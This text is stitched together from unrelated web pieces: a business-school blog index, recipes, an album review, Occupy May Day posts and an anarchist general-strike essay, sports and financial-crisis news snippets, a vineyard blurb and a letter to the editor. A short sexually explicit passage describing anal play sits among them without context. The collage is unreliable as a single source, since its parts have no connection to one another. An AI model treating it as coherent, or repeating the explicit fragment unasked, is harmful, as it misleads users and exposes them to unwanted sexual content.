Ankit S - T'15, February 14, 2014I just realized that I haven't blogged for over 3 months! There's a deeper meaning here - the 'just realized' loops back to the fact that time passes by incredibly fast here at Tuck. I recall thinking many times in class each day that I will go back to Continue Reading
Arpitha D. T'15, February 14, 2014Why do you want to come to Tuck? Tight knit community, winter wonderland (main image), fancy being in woods, awesome educational experience, great prospects… and? And...let me tell you a small story. Feb 13th: First thing I noticed in the morning was that I lost one of Continue Reading
Guest Student Contributor, February 11, 2014Rebecca P. is a TP'15 who lives in Cambridge, Massachusetts and works with Social Entrepreneurs in Boston. Her Tuckie was a high school history teacher before coming to Tuck. Rebecca can frequently be found driving on I-89 accompanied by their dog, Harry. As a "remote" partner (meaning Continue Reading
Nancy G.- Admissions, February 06, 2014Tuck's Diversity Conference, a student-run event held on campus each fall, offers prospective students a weekend of discussion, networking, mentoring, and socializing. Participants learn more about Tuck--our academic program, opportunities for personal and professional development, and what makes our community unique. In addition, participants have the chance to interact Continue Reading
Guest Student Contributor, February 05, 2014Elliot Gillerman is an MBA candidate in the class of 2015 at the Tuck School of Business at Dartmouth. Prior to Tuck, Elliot worked at the Pentagon for Secretary of Defense Leon E. Panetta and previously worked on national security policy within the Department of Defense and the U.S. Continue Reading
Guest Student Contributor, February 04, 2014Nashley Peter Mascarenhas was born in India and raised in Dubai, United Arab Emirates. He earned a Bachelor's degree in Mechanical Engineering with a minor in Economics from Purdue University. Upon graduation, Nashley joined Motorola Mobility as a quality engineer and worked on phones such as Razr Continue Reading
Guest Student Contributor, January 29, 2014Elliot Gillerman is an MBA candidate in the class of 2015 at the Tuck School of Business at Dartmouth. Prior to Tuck, Elliot worked at the Pentagon for Secretary of Defense Leon E. Panetta and previously worked on national security policy within the Department of Defense and the U Continue Reading
Partner Post Archive, January 28, 2014Once we had returned to campus after the winter holidays and got back into our routines here in Hanover, it felt like there was just one tiny weekend of downtime, and then the busy pace of Tuck's social scene picked back up, seemingly immediately! Earlier this month, over 200 Tuckies Continue Reading
Partner Post Archive, January 26, 2014We got quite a bit of snow in December and early January. As someone who very much prefers warmer weather, I both felt a little apprehensive about the snow but must admit I also love how it transforms the landscape and makes everything look so beautiful. There really is Continue Reading
Jonathan Masland - Director of Career Development , January 23, 2014Following a strong 2013, I am pleased to report that 2014 is off to a similarly great start with on-campus recruiting season for first-year students now in full swing. The Career Development Office (CDO) team has been hard at work helping first years prepare for on-campus interviews and catching up with second Continue Reading
Stephanie B. - Admissions, January 22, 2014Over the past few months, teams of T'15s have participated in 66 projects for 15 organizations through the student-run group, Tuck Student Consulting Services (TSCS). Yesterday, T'14 Co-Chairs Alena Harrison and Eric Winn, invited the community to view a summary of the group's  Continue Reading
Guest Student Contributor, January 20, 2014Isaac is a T'15 from Denver, CO. After graduating from Brigham Young University with a degree in economics, he headed east for a job with Sears Holdings Corporation in Chicago, IL. Heading even further east, Isaac came to Tuck with his wife and one son. They've Continue Reading
Maryn J. - T'15, January 09, 2014This post was written as I sit in my Seattle home, finally able to decompress and reflect on the most amazing four months of my life. Less than forty-eight hours ago I had turned in my last final which means that I am officially 1/6 complete with my Tuck Continue Reading
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This time of year I always have leftover chocolate that I've melted for one thing or another. What I do now is pour it on a sprayed piece of foil, let it harden, and then chop it up for garnish.
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You'll bounce along with Cherry Bounce
11/30/13 at 8:23am by Rita Heikenfeld | Comments
I couldn't resist buying an extra pound of dark cherries from the grocery. Not to eat out of hand or put into fruit salads, but to make cherry bounce. It's an old fashioned liqueur with true heirloom status. I believe the Shakers used to make something like cherry bounce and used it as a medicinal […]
Leftover turkey? Make turkey salsa soup
11/29/13 at 10:35am by Rita Heikenfeld | Comments
Turkey salsa soup This recipe may be what Bridget, a teenage reader, is looking for. It's a good way to use leftover turkey. Chipotles are smoked and dried jalapeno chilies. 1 cup chunky salsa with chipotle 1 can (15 ounces) black beans, drained and rinsed 1 cup frozen whole kernel corn 1 cup chopped […]
Happy Thanksgiving!
11/27/13 at 4:02pm by Rita Heikenfeld | Comments
No photos, no recipes, just a heart-felt wish for you from me: No matter how you spend this holiday, remember that having someplace to go is home, having someone to love is family and having both is a blessing.
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- Monday, November 25, 2002
Artist: MercyMe
Label: INO Music
On the heels of its wildly successful debut release, Almost There, and radio single, "I Can Only Imagine," MercyMe is back with a second helping of acoustic-driven hits on Spoken For.
While the group's previous indie projects tended toward a rock rhythm that was occasionally woven into Almost There, this time around the group leaves all signs of rock behind. W ith frontman Bart Millard's crystal-clear voice complimenting acoustic-driven tracks so perfectly, this wasn't such a bad decision.
Album standouts include the beautifully arranged title track, which offers a look at Jesus recognizing His children at heaven's gate, and the driving ballad, "Crazy," which explores the merits of heaven over earth. "The Change Inside of Me" and "All the Above" contain great hooks and are firmly rooted in the pop side of adult contemporary music.
While not a perfect sophomore effort, as the group occasionally sways to the triteness so often found on AC/pop projects, MercyMe has progressed in musical focus, songwriting and vocals.
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They had a new favourite kissing game.
He got to pull down their zippers with his teeth and then kiss and lick their arseholes, while they started their evening together with long passionate kisses.
They both loved anal stimulation, his tongue probing gently. And they loved treating him this way.
They certainly weren't worried about germs or anything. His mouth wasn't going to touch them anywhere else.


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Welcome to the inaugural edition of Under The Wire, a weekly review of what's being discussed by the commenters at The Atlantic Wire. As a service to readers, we've culled through the thousands of comments from this week and selected the ones we believe are worthy of praise. This week commenters were particularly enthusiastic in their discussions of the shutdown, trolls, and Tortilla Coast.
Comment of the Week
The shutdown finally ended this week after sixteen grueling days. Despite being disproportionately affected by the shutdown, the voices of furloughed federal workers were largely absent from media accounts about it. Commenter marykellogg remedied that by providing us with her first-hand account of what it feels like to have endured two shutdowns during her career as a federal worker.
I am a GS7 and I can testify I don't make a huge wage. But I love what I do. I have had numerous opportunities but rejected them to do what I love. In the furlough in the 90s I worked three weeks without pay. Ordered to come to work. I was a single parent, had to pay for gas, parking, before/after school care for my son. It was an extreme hardship and only a portion of our office had to come in to work. Others were afforded a three week vacation and after 20 years believe me it still stings. This time, as a 28 year fed employee, I have been furloughed and remain at home until the shut down is over.
Marykellogg went on to write that she will retire in two years. She is "tired of being thrown under the bus" and "forsaken" by elected officials. Mary's comment reveals everything that is wrong with Congress and the amount of damage that this type of political brinkmanship has wrought. But her comment also provides us with an example of everything that is right with our federal workers: tireless, selfless, and passionate, these employees of the American people want nothing more than to just do their jobs. Congress finally obliged them yesterday.


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Shout out to everyone who is working for Occupy on May 1
I would love to not be working on May1st, but being a part of the Occupy Seattle Facebook and Media teams I will likely be working my ass off :)
I'd just like everyone to remember and give thanks to all of us who help organize, publicize and generally make things happen in this movement. Across the US, there are undoubtedly 1000's of people you never hear about, likely never met in RL, who quietly in the background make things happen. Everyone from the nameless gnomes who run our servers to the people who just quietly show up, unasked, at meetings and events with food. There are so many unsung heroes in this movement, people who just keep GETTING SHIT DONE :)
Just have a thought and hopefully some appreciation for all of us who will likely be working our asses off on May Day :)
My 2cp…
Because I'm sick of the way things are in the United States and the world
Because war criminals go on book tours while their victims' corpses rot. Because financial crooks hedge their funds and shield their income from taxes and play games with the global economy.
Because poor people have to pay large fees to cash their small paychecks. Because women do so much emotional labor, mostly unpaid and unthanked. Because 22-yr-olds leave college with heavy loads of debt and few job prospects. Because men & women (& yes, even children) roll themselves in blankets and sleep in doorways, night after night.
Because my friend the professor got a police baton in the chest when she tried to protect UC students from violent cops. Because "there aren't enough funds" for Head Start or state parks or childcare or shelters, but there are ALWAYS enough funds for wars, the pentagon, the increasingly militarized police.
Because November 2's General Strike in Oakland was one of the most free and joyous days of my life. Because December 12's West Coast Port Shutdown was filled wtih solidarity and love. Because people are counting on me to show up and speak out with them. Because I know I'll have a good time. Because I know we'll make a difference. Because I want to.
Because I can. Because I am healthy enough, able-bodied enough, privileged enough, strong enough, well-informed enough. Because I'm ready.
Because I am part of the 99%. Because I'm not waiting any longer for someone else to do something to "save" us. Because the 1% need to see us in action, and I am part of that.
Because of Mary "Mother" Jones the widowed, childless, brilliant labor organizer. Because of Malallai Joya, the Afghan woman leader. Because of women everywhere who risk their lives to go on strike, to support their men on strike, to refuse sex to men in their own form of strikes that aren't in history books (yet). Because of women everywhere who CAN'T yet go on strike.
Because of my son. Because of my young friends and colleagues. Because of children. Because of the grandchild I hope someday to hold in my arms.
Because I'm sick of the way things are, and because I know we can make another way, many other ways forward.
Onward to May Day, the People's Day. General Strike!
The United States of America on college education
Student: I'm not going to go to college because I don't want to go into debt.
Student: I attended a four year university and received a diploma in a field I am interested in. Now I am $50,000+ in debt.
Because STRIKE is a verb..
For too long, strike has been a noun, owned by organized labor and only deployed under the most stringent conditions of legality and limited struggle. As all forms of ownership exploit and ultimately destroy the owned, the traditional conception of the strike has become a feeble thing, a single event, incapable of producing the adequate ruptures that could lead to capital's destruction.
But as anyone who has gone on strike knows, strike is also a verb. Not a defensive re-trenching of organized self-interest, but a blow against the owners, managers and producers of our exploitation, an offensive directed at the weak points of their domination. Together we strike out towards a future we can't yet envision, forging new conditions of possibility through collective action.
May Day: A Radical Strike into the Belly of the Beast
May Day: A Radical Strike into the Belly of the Beast
By Zakk Flash
May 1st is recognized worldwide as International Workers' Day, a holiday originating in response to the Haymarket Massacre of 1886 in Chicago, where workers fought for the establishment of worker protection measures, namely the eight hour workday. However, while the rest of the world marks May Day as a celebration of the working class, the United States is left with Labor Day—a banker's holiday hurriedly passed through Congress by Grover Cleveland in an attempt to appease the outrage generated by the murder of railway workers at the hands of United States Army troops during the Pullman Strike.May Day, along with notions of radical worker action, has largely been ignored in the United States in recent years. But the time for complacency has passed.
While a worker walk-out may have been born from the secessio plebis of Ancient Rome, English Chartist and radical preacher William Benbow brought to modern times the idea of general strike as a "sacred month" in the first mass working-class labor movement. In 1877, the Great Railroad Strike began the first major labor action in the United States; centered in East Saint Louis, the strike shut down all industrial railway traffic through the National Stockyards, letting only passenger and mail trains through. In 1936, early in Franklin D. Roosevelt's presidency, a series of strikes spread; half a million textile workers united in states across the country, dock workers and their associates in San Francisco, and radical Teamsters in Minneapolis all fought against the violence of police and armed strikebreakers. These strikes, and the unemployment councils that cropped up to encourage progressive change, pushed Roosevelt to enact bold reforms to the American system.
Over the course of two days in December of 1946, radical action brought City of Oakland to a standstill. The general strike there inspired the anti-labor Taft-Hartley Act that President Truman called a "conflict with important principles of our democratic society," even as he used it twelve times over the course of his presidency. The act essentially killed the general strike as a tactic for the labor movement.
The power of the working class, however, is not tied to mainstream organized labor; concessions by the AFL-CIO to the government's National Labor Relations Board have made the organization little more than a special interest group for the Democrats, even as they pass anti-labor and anti-free speech legislation. While the working class needs the strength of militant unionization—the IWW Food and Retail Workers United union in the Pacific Northwest being a good example—the policies of the National Labor Relations Board are decidedly anti-worker. Capitulation of reactionary unions to NLRB demands, and to the Democratic Party, constitutes abandonment of the working class.
Knowing that union leadership would be refused the blessing of their Democratic Party masters, rank-and-file members of labor joined with the Occupy Movement to speak for themselves; in October 2011, the General Assembly of Occupy Oakland voted overwhelmingly to shut down the city on November 2nd in response to the military-style crackdown on demonstrators by eighteen different police agencies, including the critical wounding of Scott Olsen and Kayvan Sabehgi, two veterans of the war in Iraq. The convergence of radical labor and Occupy Oakland made it possible to shut down the Port of Oakland, the fifth-largest container port in the nation, disrupting millions of dollars of capitalist income. This is only the beginning."Do not wait to strike till the iron is hot; but make it hot by striking!" -William Butler Yeats
In December of 2011, Occupy Los Angeles called for a general strike on May Day, to "recognize housing, education, and healthcare as human rights." This revival of May Day has been echoed by Occupations from wealthy Wall Street to poverty-stricken Oklahoma. Already, nationwide strikes have rocked other countries hit hard by the capitalist crisis, including Spain, Iceland, Portugal, and Greece. Austerity measures in these countries have been enacted solely to appease unelected European Union technocrats, protecting the interests of wealthy investors and multinational banking cartels. The civil war that capitalism calls "peace" is intensifying universally; the May Day General Strike will be our response to their crisis.On May 1st, 2012, we will revive the May Day the ruling class has tried to erase; we will celebrate International Workers' Day in the United States as a political manifestation of class consciousness and international solidarity.
However, our demonstrations on May Day cannot be an exercise in paying homage to the past days of the global justice movement; instead, they must embody concrete preparation for the future. The anarchist concept of prefigurative politics demands that we lay the foundations of future society solidly in the present. By retaking May Day, we stand in solidarity with a legacy of international struggle against neoliberal capitalism and authoritarian control. Values such as classlessness, autonomy, self-management, diversity, and mutual aid preclude borders; the internationalism of May Day is only one step in a long march towards an international solidarity.
The atmosphere across the globe seems pregnant with a revolutionary fervor unseen in recent years. The occupation at New York City's New School in 2008 provided a glimpse into the possibilities of occupation when students seized their school building as a show of solidarity against the policies of a broken administration. The nascent student movement later reclaimed campuses across California, inspiring actions nationwide with the release of an influential text called "Communiqué from an Absent Future." At the same time, organizers linked themselves to demonstrations in Greece over the police murder of a 15-year old anarchist in the neighborhood of Exarcheia.
With the European crisis beginning in late 2010 and Arab Spring blossoming in early 2011, international resistance to gutter government became not only widespread, but populist in nature. In Greece, the "I Won't Pay" movement took shape as normal citizens ignored tolls, transit ticket costs, and bills for healthcare. Governor Scott Walker's anti-labor actions designed to eliminate collective bargaining were met with thousands of people descending on the Madison, Wisconsin State Capitol. Later that spring, the May 15th movement known as los Indignados took over public squares in Spain and Greece and demanded a radical change to the political milieu.Millions of people around the world are waking up to the realization that capitalism is a pyramid scheme.
Our unity with the workers of the world extends beyond May Day. Radical movements must seek more than an end to illegitimate and authoritarian governments; we demand the recognition of universal rights, respect of individual autonomy and local decision-making, and an end to coercive and subordinate relationships in all areas of our lives. As Bob Black writes inThe Abolition of Work:
"To demonize state authoritarianism while ignoring identical, albeit contract-consecrated, subservient arrangements in the large-scale corporations which control the world economy is fetishism at its worst … Your supervisor gives you more or-else orders in a week than the police do in a decade."
Our struggle has to be more than mere conflict with a rigged economic system. Economics do not exist in a vacuum, but at the convergence of complex political, financial, and military interests. Historical, social, and legal dimensions come into play with the understanding that markets perpetrate inequities by favoring those with more power, wealth, and privilege. To avoid essentialism, we must strike hard at the intersections that prop up systemic inequality, even as we focus on unbridled market fundamentalism itself.One of the most dangerous institutions that undergird capitalist economic structure is the military-industrial complex.
On May 20-21st, tens of thousands will gather in Chicago to demonstrate against the NATO military bloc. Serving as the armed will of the U.S. and Western Europe, NATO accounts for a staggering 70% of the world's military spending, money that is used to control strategic resources of the Global South on behalf of a Western capitalist economic minority. While the majority of the planet lives on less than $2 per day, NATO swallows $2 billion per week on a war that nobody seems to want. The reasons are simple: poverty and wealth are functions of politico-economic entanglement; when resources abroad like oil or precious metals are determined to be matters of national security, the politics of who deserveswhat comes into play.Contrast the billions spent by countries on weapons and war technology and the amount of money spent on help for the poverty-stricken children, women and men of the Global South. A stark picture is soon painted.
As spokesman for the Coalition Against NATO/G-8 War & Poverty Agenda, Andy Thayer reminds us that Richard Nixon, President of the US in '68, was no friend of the working class. However, even despite being "ideologically… far to the right of any previous post-WW II president, and a notorious racist and anti-Semite to boot," Nixon enacted a series of measures "that marked him as by far the most "progressive" president since the Great Depression—far to the left of, yes, President Obama." Despite his conservative principles, a mass movement of citizen agitation forced Nixon to enact Affirmative Action, the Environmental Protection Agency, the Occupational Safety and Health Administration (OSHA), expand food stamps, nominate a Supreme Court that gave us Roe v. Wade, and finally, a wind-down of the Vietnam War.
Young men and women who join the military, many for an education or a job opportunity, are being slaughtered around the world as the American Empire advances, using poor countries as proxy in many cases. As many soldiers refuse to reenlist, the temptation of tactical nuclear strike grows for the Pentagon. Without an immediate demand for disarmament, a global nuclear war is almost certainly on the horizon; already, we see the case built for attacks on Iran and North Korea. Thayer's call for continuous and forceful action against warmongering is an urgent one; the opportunity to act against imperial militarism must be seized in Chicago as Obama takes the stage in his effort make the NATO summit the centerpiece of his reelection campaign.
Chicago 1968 marked the beginning of the end for the Vietnam War. Exposing NATO's military expansionist policies in Chicago 2012 may provide a valuable victory for Occupy Wall Street and for the global justice movement as a whole. War must be understood as a critical underpinning of the capitalist agenda.
The call for a general strike and the mobilization of opposition to NATO's military stranglehold, however, must only be the beginning of a growing and sustained process of radical organization: of fellow citizens in the workplace, in our neighborhoods, and in our schools. Our movement must include the homeless, the working poor, the uneducated, the societal marginalized—those most disadvantaged by capitalist exploitation. Radical mo(ve)ments such as these serve as a wake-up call, not only to socio-political elites faced with a critical mass demanding change, but to the entirety of the working class who have realized the power they seek lies in their own direct action. Profound social transformation must be at the root of any economic recovery.
We live in a time when half-hearted notions of "reform" are served only as a recuperative mechanism for capitalist greed, where governments pledge that the only escape from financial crisis must come through workers surrendering their rights, where the commons is privatized and the rights of all are turned into a bargaining chip that benefits only a few. Women's bodies are turned into battlegrounds as politicians fight for office. Social services, education, and jobs are being slashed in a scorched-earth campaign to preserve power.
Historically, government has failed in its responsibilities, unless forced by direct action: sit-ins and Freedom Rides for the rights of black people, strikes and boycotts for the rights of workers, mutinies and desertions of soldiers in order to stop a war. Today, we can be sure we will not see any change from the status quo … unless popular upsurge demands it. The best way to make our demands known? Hit capitalism in its pocketbook.
I'll meet you at the barricades.
Dr. Zakk Flash is an anarchist political writer, radical community activist, and editor of the Central Oklahoma Black/Red Alliance (COBRA). He lives in Norman, Oklahoma.
Find more about the Central Oklahoma Black/Red Alliance (COBRA) at http://www.facebook.com/COBRACollective.
Norwegian environmentalist, Erik Dammann found that the West's focus on competition for personal gain had more to do with social structure than human nature. He also found a deep respect for other cultures and a sense of responsibility for the way they were being destroyed by the consumption-oriented Western lifestyle. He perceived an immense gap between the stated values of Western society, such as justice, freedom, responsibility and solidarity, and the actual impact of that society on people in other countries and on the Earth.
Why I Strike
I strike because work and money oppress us. I strike because it is the physical manifestation of workers' solidarity. I strike to defend myself against the state. I strike because I believe in equality.
The true builders of America
I have been a union member most of my working life, starting at age 14. I believe that America was built by workers, not bosses, and thus workers deserve a true share of the fruits of our labors.
We teach kids from an early age that inequality is inherent. We must teach them this because this is not a natural way to view the world. I strike because I no longer want to live in a world where inequality is the norm. I strike because I don't want my kids to know what it means to be oppressed. I strike because it is one way to begin this change. A better world is not only possible, it is inevitable. I strike because we are winning.


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An Indianapolis attorney who was instrumental in bringing the Super Bowl to the city is said to be Notre Dame's choice to become the next athletics director for the Irish.
Jack Swarbrick is a 1976 graduate of the University who later attained his law degree at Stanford. He is a lawyer for the Baker and Daniels firm.
Swarbrick has an extensive background in amateur athletics, having served in several capacities to promote Indianapolis as the amateur athletic capital of the United States.
He's been associated with the Indiana Sports Commission for the past 20 years. He reportedly was in the running to become president of the NCAA before that position went to Dr. Myles Brand.
It's believed that the official announcement will be made on Wednesday at Notre Dame.


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This article was reported by Jenny Anderson, Eric Dash and Andrew Ross Sorkin and was written by Mr. Sorkin. In one of the most dramatic days in Wall Street's history, Merrill Lynch agreed to sell itself on Sunday to Bank of America for roughly $50 billion to avert a deepening financial crisis, while another prominent securities firm, Lehman Brothers, said it would seek bankruptcy protection and hurtled toward liquidation after it failed to find a buyer.September 15, 2008 usNews
Geithner Testifies That Government Had Right to Act to Avert A.I.G. Bankruptcy
"The world was so fragile and the consequences of A.I.G.'s failure were so great," Mr. Geithner testified, that "I was very confident" the government had the authority to step in.
October 8, 2014, Wednesday
Lehman Brothers' Demise: Barney Frank's View
The former congressman says British regulators played a key role by opposing a possible purchase by Barclay's.
October 6, 2014, Monday
Six Years Later, We're Still Litigating the Bailouts. Here's What We Know.
America remains deeply conflicted about federal regulators' crisis response.
October 5, 2014, Sunday
Joe on WNYC's Money Talking
Joe discusses the secret Goldman Sachs tapes and what went on at the Fed before Lehman Brothers collapsed.
October 3, 2014, Friday
Revisiting the Lehman Brothers Bailout That Never Was
New accounts of events in 2008 as the New York Fed assessed the bank's eligibility for rescue from bankruptcy have cast the firm's collapse in a new light.
September 30, 2014, Tuesday
Post-Lehman, Money Market Fund Protections Still Weak
Money market funds played a central role in Lehman Brothers' failure and helped spread the contagion. But, Jennifer Taub, of Vermont Law School, says, the problems remain unsolved.
September 17, 2014, Wednesday
Liquidity for Banks, This Time Defined
The rules the Federal Reserve approved this week are intended to ensure that banks have enough ready liquidity to survive a crisis of 30 days, which proved not to be the case in the 2008 crisis.
September 5, 2014, Friday
Wall Street Escapes Blame, Again
The news last week brought two fresh reminders of the government's failure to hold Wall Street accountable for the financial crisis.
August 18, 2014, Monday
Holding Auditors Blameless
With each failure by auditors to sound warnings, it becomes increasingly clear that the investing public is being shortchanged.
August 16, 2014, Saturday
Lehman's Unsecured Creditors to Receive $4.6 Billion
The planned distribution for unsecured creditors, which include former employees, banks, asset-management firms and pension funds, represents 17 percent of the value of their claims.
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The Fed's Actions in 2008: What the Transcripts Reveal
On Feb. 22, the Federal Reserve released the transcripts of the 2008 meetings of its Federal Open Market Committee, which sets monetary policy. The transcripts provide a detailed account of some of the Fed's key decisions during that crisis year.
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The land and vines that we refer to as O'Vineyards have been around for a very long time and they've had many names and many farmers. I'm always picking up little bits about the vineyard's history, and a friend just loaned a book to me that might help shed some light on the vineyard's origins. […]Tags: estate, history, o'vineyards, property, thou, tissot, tou, villa, Villegailhenc, villemoustaussou, vineyard, winemaker, winemaking, winery
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The streetcar seemed to be on most people's minds in Friday's Enquirer. The tired argument that it passed two referendums and should continue was belied by Mr. Cranley's strong showing.
Had streetcar proponents originally made a cogent argument and won the referendums without linking them to light rail, we would not be arguing now. Unfortunately, they cheated. And with Mayor Cranley now controlling the future ballot language if another referendum came up, their chances of winning in the future are nil.
Cincinnati is no Chicago. Until Cincinnati repays the pension money borrowed from hard-working retirees to fund frivolities like the streetcar, walking, biking, and buses are Cincinnati-sized, cost-effective alternatives. Cheaters never prosper!
Kevin Reynolds, Groesbeck
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